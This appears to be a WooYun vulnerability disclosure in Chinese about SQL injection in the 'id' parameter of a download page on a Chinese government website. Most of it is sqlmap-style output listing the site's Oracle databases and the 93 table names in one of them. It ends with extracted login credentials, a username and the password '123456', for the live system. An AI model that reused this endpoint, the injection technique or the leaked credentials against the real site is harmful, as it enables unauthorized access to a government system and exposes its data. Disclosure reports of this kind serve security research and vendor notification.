WooYun.org

http://www.miinac.gov.cn/mydownFile?id=200038151&flash=yes 
注射点mydownFile?id=
available databases [20]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] EXT
[*] EXTEL
[*] MDSYS
[*] NTS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TELNUMBER
[*] TEST
[*] TSMSYS
[*] WMSYS
[*] XDB
Database: EXTEL
[93 tables]
+--------------------------+
| ADJUSTWFCHECKINFO        |
| ADJUSTWORKFLOWINFO       |
| BASE_BILL                |
| BASE_DO                  |
| BASE_FLOW                |
| BASE_FLOW1               |
| BASE_FLOW_ACT            |
| BASE_FLOW_ACT1           |
| BASE_QUERY               |
| BILL_1                   |
| BILL_LOG                 |
| C_AUTHORIZATION          |
| C_BAD_RECORD             |
| C_BILLAUTHORITY          |
| C_BILL_LOG               |
| C_CODE                   |
| C_CODEEXTEND             |
| C_DIC                    |
| C_FOLDERALL              |
| C_GROUP                  |
| C_IPINFO                 |
| C_IPINFO_TMP             |
| C_LINKNAME               |
| C_LOCATION               |
| C_MIIACCOUNT             |
| C_MIIBILLDATE            |
| C_MIIBILLING             |
| C_MIIBILLLACK            |
| C_MIIBILLPAY             |
| C_MIICODE                |
| C_MIICODEFEERATE         |
| C_MIICODELIFESTAGEALL    |
| C_MIICODE_CHANGE         |
| C_MIICUSTOMER            |
| C_MIICUSTOMERTMP         |
| C_MIICUSTPAYINFO         |
| C_MIIFEESTANDARD         |
| C_MIINOTICEALL           |
| C_MIIORDER               |
| C_MIIPLAN                |
| C_MIIPLANUSAGE           |
| C_MIIPROJECT             |
| C_MIIQUALIFICATION       |
| C_MIIRATESTANDARD        |
| C_MIITEMPLATEFILE        |
| C_NOTICETYPE             |
| C_OPENINF                |
| C_PROVINCEREPORTS        |
| C_RELATION               |
| C_USER                   |
| EXCHANGE_TRI             |
| EXCHANGE_TRI_BACK        |
| EXPCMORDERINFO           |
| EXPORDERCHECK            |
| EX_INS_TRI_IN            |
| EX_MIDDLE_INSERT_TRIGGER |
| EX_UP_TRI_IN             |
| EX_UP_TRI_OUT            |
| EX_Y_CODE_OLD            |
| LOGGING_EVENT            |
| LOGGING_EVENT_EXCEPTION  |
| LOGGING_EVENT_PROPERTY   |
| MME_DICTIONARY           |
| MONTHLY_FEE              |
| MONTHLY_FEE_LOG          |
| M_CLCOMPARE              |
| M_CUSTOMER_GROUP         |
| M_GROUP_CUSTOMER_LINK    |
| M_LOG                    |
| M_LOG_CUSTOMER           |
| M_LOG_HISTORY            |
| M_LOG_INTEGRATION        |
| M_RELATION               |
| M_SWITCH                 |
| M_SWITCH_SEND            |
| M_TBLCOMPARE             |
| M_TEMPLATE               |
| M_TYPE_NEW               |
| R_NOTICE_USER            |
| R_PLAN_LOCALAREA         |
| R_USER_GROUP             |
| TEMP_NUM                 |
| TMP_CU                   |
| TMP_YC                   |
| TMP_YL                   |
| T_DOMAIN_NAME            |
| YEARCHECKCONFIG          |
| Y_CODEADJUST             |
| Y_CODEEXTEND             |
| Y_CODELICENSENUMBER      |
| Y_CODEUSAGE              |
| Y_CODE_ALL               |
| Y_LICENSENUMBER          |
+--------------------------+
以下为部分的运行记录
[15:19:49] [INFO] retrieved: 3442336
[15:19:49] [INFO] retrieving the length of query output
[15:19:49] [INFO] retrieved:
[15:19:50] [INFO] retrieved:
[15:20:10] [INFO] retrieving the length of query output
[15:20:10] [INFO] retrieved:
[15:20:12] [INFO] retrieved:
[15:20:22] [INFO] retrieving the length of query output
[15:20:22] [INFO] retrieved: 6
[15:20:30] [INFO] retrieved: 123456
通过猜测
可以知道用户名 3442336 密码 123456